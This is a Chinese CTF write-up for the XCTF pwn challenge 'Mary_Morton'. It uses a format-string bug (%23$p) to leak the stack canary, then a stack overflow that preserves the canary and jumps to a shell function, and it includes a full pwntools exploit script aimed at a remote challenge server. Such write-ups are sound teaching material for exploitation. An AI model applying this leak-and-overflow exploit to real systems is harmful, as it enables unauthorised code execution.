[攻防世界]Mary_Morton

打开程序看,菜单已经说明的很清楚了

1存在栈溢出,2存在format

不过checksec了发现

存在栈保护,这里的format就可以泄露出标志位

经过尝试,%x只能输出8bit的数 这里使用%p

先试试水

第6个参数就是我们的输入首地址了 然后往下找标志位

计算出是第23个参数

验证一下

是第23个参数没错了

提取出来就可以栈溢出了

溢出的时候控制标志位不改变即可

from pwn import *

# io=process('./mary')
io=remote('111.198.29.45',43483)

io.recvuntil('3. Exit the battle 
')
io.sendline(str(2))
sleep(0.5)
io.sendline('%23$p')
data=io.recvuntil('
')
print "stack: "+data
stack=int(data[:-1],16)
print "stack: "+hex(stack)

shell_addr=0x4008DA
io.recvuntil('3. Exit the battle 
')
io.sendline(str(1))
sleep(0.5)
payload='a'*(0x90-8)+p64(stack)+p64(shell_addr)*5
io.sendline(payload)

io.interactive()
#rdi, rsi, rdx, rcx, r8, r9
# %23$p
原文地址:https://www.cnblogs.com/lxy8584099/p/11884609.html